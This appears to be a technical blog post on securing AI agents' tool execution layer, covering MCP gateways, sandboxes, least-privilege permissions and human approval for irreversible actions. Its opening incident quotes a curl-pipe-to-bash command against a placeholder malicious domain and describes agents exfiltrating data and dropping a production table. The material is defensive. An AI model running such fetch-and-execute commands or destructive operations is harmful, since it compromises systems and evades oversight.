Securing AI Agents: L5 Tool Execution Layer – Sandboxes, MCP, and Execution Boundaries

AI Infra Practical Series – Part 6: L5 Tool Execution Layer

Opening Incident: Unrestricted Sandbox and a Deleted Production Table

In March 2026 an AI startup let an Agent run a Python script in a sandbox. The script contained os.system("curl http://malicious-domain/x.sh | bash"). Because the sandbox allowed outbound traffic, the malicious script downloaded the database connection string and exfiltrated data. Later the same day another Agent executed DROP TABLE orders on the production database using full‑write credentials that lacked any approval workflow, causing a four‑hour outage and million‑dollar losses. The root causes were engineering flaws in the L5 tool execution layer: no network restriction, overly broad permissions, and missing high‑risk operation approval.

What the L5 Layer Solves

Define which actions an Agent is allowed to perform.

Establish the execution boundary (where code runs).

Enforce safe code execution (sandboxing, permission checks, audit).

HiddenLayer 2026 AI Threat Report notes that 1/8 of AI‑related security incidents involve Agent systems, 31% of organizations cannot detect AI intrusions, 45.6% still share API keys with Agents, and 90% grant Agents excessive permissions.

Core Architecture Flow (Six Stages)

Tool call request : L4 decides which tool to invoke and creates an intent (tool name + parameters).

MCP protocol layer : The request is routed through the Model Context Protocol (MCP), an open‑source standard donated to the Linux Foundation in Dec 2025. MCP linearises N×M integrations by providing a single server that all models can use.

Permission check : The MCP Gateway validates the caller’s identity, tool permissions, and parameter schema.

Sandbox execution : High‑risk tools run inside a sandbox (E2B/Modal/gVisor) with network denial, resource caps, and timeout controls; low‑risk tools call the API directly.

Output validation : Results are filtered for secrets, truncated, and checked for anomalies.

Result return + trace reporting : Safe results are returned to the Agent and a full‑chain trace is logged for SOC 2/HIPAA compliance.

Key Technical Breakdowns

Function Calling

Agents emit structured JSON tool‑call requests. The quality of the tool schema (descriptions, parameter types, constraints, required/optional flags) determines success. Each tool is hard‑coded; adding new tools requires code changes and redeployment, which MCP aims to eliminate.

MCP Protocol

MCP is described as the “USB‑C of AI”. It defines a Host‑Client‑Server model using JSON‑RPC 2.0 and exposes three primitives:

Tools : callable functions such as execute_sql or send_email.

Resources : read‑only data sources like files or database views.

Prompts : pre‑configured templates that guide model interaction.

Without a standard, 20 models × 20 systems would need 400 custom connectors; with MCP, a single server serves all models. By 2026 thousands of MCP servers exist (GitHub, Slack, Postgres, S3, Salesforce, etc.). FastMCP 3.0 lets Python developers spin up a production‑grade server in a few lines of code.

MCP itself does not enforce per‑caller permissions, so a Gateway layer is required for routing, OAuth 2.1 + RBAC authentication, rate‑limiting, audit, and DLP. Popular gateways include Bifrost (Go, 11 µs overhead), ToolHive (Apache 2.0, strong isolation), agentgateway (Rust, sub‑millisecond HTTP), and Composio (500+ integrations, SOC 2 certified).

Code Sandbox

Three isolation levels are common in 2026:

VM‑level (microVM) : Firecracker provides a separate kernel, ~5 MiB memory overhead, 150‑200 ms cold start, 28 ms snapshot restore. Used by E2B and adopted by 88 % of Fortune 100 companies.

Container‑level (gVisor) : User‑space kernel intercepts syscalls, offers stronger isolation than plain Docker and can attach GPUs (Modal).

Process‑level (V8 Isolates) : Cloudflare Workers run JavaScript/Wasm with millisecond startup, suitable for lightweight stateless tools.

Selection logic: use microVM for untrusted code, gVisor for trusted but isolated workloads, and V8 isolates for ultra‑lightweight tasks.

Permission Model

Four principles enforce least‑privilege for non‑human identities:

Independent service identity per Agent (no shared API keys).

Least‑privilege: read‑only agents never receive write rights; high‑risk actions require approval.

Short‑lived tokens (minutes‑level).

Human approval for irreversible actions (DELETE, DROP, fund transfer, external messaging).

Idempotency and Transactions

Agent calls can fail due to timeouts, OOM, or rate limits. Idempotency keys ensure that retries do not produce duplicate side effects. Multi‑step workflows use the Saga pattern: if any step fails, compensating actions roll back previous steps, and those compensations themselves must be idempotent.

def mcp_tool_call_and_sandbox(agent, tool_name, params):
    # 1. MCP: discover tool and validate schema
    tool = mcp_client.get_tool(tool_name)
    if not tool or not schema_validate(tool.schema, params):
        return {"error": "tool not found or params invalid"}
    # 2. Permission check via Gateway
    if not gateway.authorize(agent.identity, tool_name, params):
        return {"error": "permission denied"}
    # 3. Execute in sandbox if high risk
    if tool.risk_level == "high":
        result = sandbox.execute(
            tool.code, params,
            network="deny",          # default deny outbound
            timeout=30,               # seconds
            max_memory="512MiB",
            env_secrets=tool.scoped_secrets
        )
    else:
        result = tool.invoke(params)
    # 4. Output sanitisation and trace
    safe_result = output_filter.sanitize(result)
    tracer.log(agent.id, tool_name, params, safe_result)
    return safe_result

def high_risk_approval(agent, action, params):
    # 1. Risk engine evaluates action
    risk = risk_engine.evaluate(action, params)
    if risk.level in ("critical", "irreversible"):
        # 2. Create approval ticket and pause execution
        ticket = approval.create(
            agent_id=agent.id,
            action=action,
            params=params,
            risk_reason=risk.reason,
            timeout=3600  # 1 h auto‑reject
        )
        # 3. Block until human decision
        decision = approval.wait(ticket.id)
        if decision != "approved":
            return {"error": f"action rejected: {decision}"}
        # 4. Execute with idempotency key
        return execute_with_idempotency(action, params, idempotency_key=ticket.id)

Open‑Source Framework Comparison (Key Findings)

Isolation level is a security baseline, not a performance tweak.

E2B cold start is now sub‑200 ms (150 ms cold, 28 ms snapshot).

Modal is the only sandbox supporting GPUs (T4‑B200).

Fly.io Sprites offers persistent microVMs for long‑lived sessions.

Enterprise Deployment Blueprint

MCP Server Governance

Insert an MCP Gateway to avoid N×M connection sprawl. The Gateway handles routing, OAuth 2.1 authentication, per‑Agent quota, audit logging, and DLP. After deployment, a financial team reduced key sets from 15 to 1 and achieved SOC 2 compliance.

Sandbox Selection Decision Tree

Scenario A – Untrusted user code : microVM (E2B/Firecracker), network deny, read‑only filesystem, minimal secrets.

Scenario B – Agent‑generated scripts : gVisor container, optional whitelist networking, full audit.

Scenario C – Light‑weight transformations : V8 isolates, millisecond startup, lowest cost.

Scenario D – GPU workloads : Modal (gVisor + GPU passthrough).

Idempotency & Compensation

Every mutable operation carries a UUID idempotency key; services record processed keys and return cached results on duplicates. Complex workflows use the Saga pattern to ensure consistent state after failures.

Metrics & Acceptance Criteria

Sandbox cold start < 200 ms (E2B).

Tool‑call success rate ≥ 95 %.

Zero sandbox escapes (verified by adversarial testing).

100 % interception of high‑risk actions (DELETE/DROP/transfer).

Zero outbound network violations (whitelist only).

MCP P99 response < 2 s (full‑chain trace).

Common Pitfalls & Best Practices

Missing network deny → default to egress_deny_all and whitelist required hosts.

Over‑privileged Agents → assign each Agent a distinct service identity with least‑privilege rights; never reuse human admin credentials.

Incompatible MCP schema changes → use semantic versioning, deprecate fields before removal.

Slow sandbox startup → maintain a warm pool and use snapshot restore (E2B achieves ~28 ms).

No idempotency → attach unique keys and use Saga for multi‑step transactions.

Logging raw secrets → mask sensitive data per NIST SP 800‑53 before writing logs.

Bypassing Gateway with local MCP → enforce Streamable HTTP + Gateway in production; use mocks only for local development.

Relationship to Upstream & Downstream Layers

Upstream layers L0 (resource) and L4 (Agent) provide compute, storage, and decision‑making. L5 enforces execution boundaries; downstream L6 records state, and L8 collects traces for monitoring. The security of the entire stack hinges on L5’s sandbox and permission enforcement.

Summary

Problem solved : Define Agent capabilities, execution boundaries, and safe code execution.

Core tech : MCP protocol, Firecracker/gVisor sandboxes, least‑privilege model, idempotency & Saga.

Preferred frameworks : E2B (untrusted code), Modal (GPU), MCP Gateway (governance), FastMCP (server development).

Key metrics : Cold start < 200 ms, success ≥ 95 %, escape 0, high‑risk interception 100 %, MCP P99 < 2 s.

2026 trends : MCP 1.1 B monthly downloads, E2B 28 ms snapshot restore, OWASP ASI05 mandates sandboxing.